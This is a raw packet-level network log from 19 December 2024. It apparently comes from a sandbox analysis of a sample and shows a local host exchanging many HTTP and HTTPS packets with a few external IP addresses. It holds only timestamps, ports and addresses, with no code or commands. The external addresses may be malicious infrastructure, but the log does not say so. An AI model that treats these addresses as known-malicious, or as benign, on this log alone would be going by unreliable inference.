Dec 19, 2024 06:10:03.323991060 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.324031115 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.324130058 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.324989080 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.325035095 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.325109959 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.325151920 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.326148987 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.326195002 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.326229095 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.327223063 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.327270985 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.327353001 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.328325033 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.328371048 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.328448057 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.328499079 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.329408884 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.329519987 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.329571009 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.330589056 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.330651045 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.330665112 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.330720901 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.331614971 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.331662893 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.331708908 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.331765890 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.332746029 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.332792997 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.332878113 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.332918882 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.333841085 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.333954096 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.334002018 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.335033894 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.335083008 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.335115910 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.335724115 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.336146116 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.336173058 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.336201906 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.336215973 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.337184906 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.337266922 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.337311983 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.338282108 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.338399887 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.338452101 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.339404106 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.339457989 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.339492083 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.339541912 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.340503931 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.340552092 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.340720892 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.340805054 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.341707945 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.341747999 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.341752052 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.341969967 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.342804909 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.342822075 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.342864037 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.342864037 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.343827009 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.343879938 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.343961954 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.344398022 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.344944954 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.345004082 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.345138073 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.345180988 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.346052885 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.346142054 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.346182108 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.346223116 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.347165108 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.347224951 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.347259998 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.347327948 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.348247051 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.348294973 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.348360062 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.348705053 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.349353075 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.349400043 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.349463940 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.349503040 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.350455046 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.350534916 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.350579023 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.351578951 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.351675987 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.351706982 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.351768017 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.352693081 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.352744102 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.352787971 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.352838039 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.353800058 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.353848934 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.353914976 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.353956938 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.354912043 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.354959011 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.354999065 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.355040073 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.356012106 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.356054068 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.356117964 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.356223106 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.357120037 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.357177019 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.357218027 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.358118057 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.358249903 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.358345985 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.358413935 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.359292030 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.359344959 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.424580097 CET	443	49896	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:03.424746037 CET	443	49896	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:03.424797058 CET	49896	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:03.424812078 CET	443	49896	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:03.424912930 CET	443	49896	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:03.425005913 CET	443	49896	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:03.425085068 CET	49896	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:03.425092936 CET	443	49896	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:03.425132990 CET	49896	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:03.425139904 CET	443	49896	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:03.433490992 CET	443	49896	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:03.433551073 CET	49896	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:03.433559895 CET	443	49896	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:03.441836119 CET	443	49896	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:03.441939116 CET	443	49896	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:03.441991091 CET	49896	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:03.441999912 CET	443	49896	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:03.442054033 CET	49896	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:03.493283033 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.493387938 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.493421078 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.493438005 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.493840933 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.493896008 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.493935108 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.493983984 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.494946003 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.495002031 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.495060921 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.495131969 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.496085882 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.496150970 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.496198893 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.497162104 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.497205973 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.497328997 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.497380018 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.498296022 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.498311043 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.498339891 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.498364925 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.499356985 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.499424934 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.499464989 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.499506950 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.500469923 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.500571012 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.500603914 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.500655890 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.501626015 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.501709938 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.501740932 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.501754045 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.502721071 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.502785921 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.502818108 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.502921104 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.503839970 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.503855944 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.503917933 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.503917933 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.504900932 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.504957914 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.504997015 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.505042076 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.506050110 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.506066084 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.506114006 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.506114006 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.507127047 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.507244110 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.507282019 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.508240938 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.508343935 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.508394003 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.509362936 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.509404898 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.509443998 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.509480000 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.510457993 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.510498047 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.510603905 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.510638952 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.511631966 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.511647940 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.511683941 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.512749910 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.512794018 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.512875080 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.512931108 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.513844967 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.513860941 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.513906002 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.513906002 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.514910936 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.515013933 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.515053034 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.516045094 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.516135931 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.516149998 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.516191959 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.517117023 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.517250061 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.517294884 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.518203020 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.518323898 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.518376112 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.519357920 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.519388914 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.519398928 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.519426107 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.520448923 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.520534992 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:03.520562887 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.520586967 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:03.530025959 CET	49888	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:10:03.543848038 CET	443	49896	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:03.598346949 CET	49896	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:03.616679907 CET	443	49896	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:03.626034975 CET	443	49896	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:03.626091957 CET	49896	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:03.626110077 CET	443	49896	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:03.626317024 CET	443	49896	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:03.626502991 CET	49896	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:03.649822950 CET	80	49888	185.215.113.43	192.168.2.4
Dec 19, 2024 06:10:03.649884939 CET	49888	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:10:03.650254965 CET	49896	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:03.650283098 CET	443	49896	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:05.037585020 CET	49904	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:05.037622929 CET	443	49904	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:05.037704945 CET	49904	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:05.038033009 CET	49904	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:05.038045883 CET	443	49904	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:05.796439886 CET	49908	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:10:05.801583052 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:05.915920019 CET	80	49908	185.215.113.43	192.168.2.4
Dec 19, 2024 06:10:05.916171074 CET	49908	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:10:05.917889118 CET	49908	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:10:05.921353102 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:05.922080994 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:06.037327051 CET	80	49908	185.215.113.43	192.168.2.4
Dec 19, 2024 06:10:06.258974075 CET	443	49904	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:06.259068012 CET	49904	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:06.377149105 CET	49904	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:06.377202034 CET	443	49904	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:06.378104925 CET	443	49904	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:06.379920959 CET	49904	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:06.382213116 CET	49904	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:06.382289886 CET	443	49904	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:06.382605076 CET	49904	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:06.382621050 CET	443	49904	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:07.266859055 CET	80	49908	185.215.113.43	192.168.2.4
Dec 19, 2024 06:10:07.272104979 CET	49908	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:10:07.423612118 CET	443	49904	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:07.423877001 CET	443	49904	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:07.423999071 CET	49904	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:07.665529966 CET	49904	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:07.665566921 CET	443	49904	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:07.730154037 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:07.850064993 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:07.850147009 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:07.854460955 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:07.973962069 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:08.031874895 CET	49915	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:08.031896114 CET	443	49915	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:08.031992912 CET	49915	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:08.032466888 CET	49915	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:08.032481909 CET	443	49915	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:09.176038027 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.176081896 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.176136017 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.176170111 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.176191092 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.176191092 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.176224947 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.176227093 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.176264048 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.176316023 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.176350117 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.176368952 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.176387072 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.176424026 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.176448107 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.176448107 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.176496029 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.256174088 CET	443	49915	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:09.256259918 CET	49915	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:09.257826090 CET	49915	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:09.257854939 CET	443	49915	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:09.258877993 CET	443	49915	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:09.260437965 CET	49915	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:09.260570049 CET	49915	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:09.260610104 CET	443	49915	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:09.296117067 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.296219110 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.296302080 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.299413919 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.299491882 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.367892027 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.367923021 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.367949963 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.368001938 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.370362997 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.370465040 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.370553970 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.378772974 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.378845930 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.378896952 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.385281086 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.385375977 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.385420084 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.385420084 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.393693924 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.393790960 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.393942118 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.402060032 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.402151108 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.402188063 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.406049967 CET	49910	80	192.168.2.4	31.41.244.11
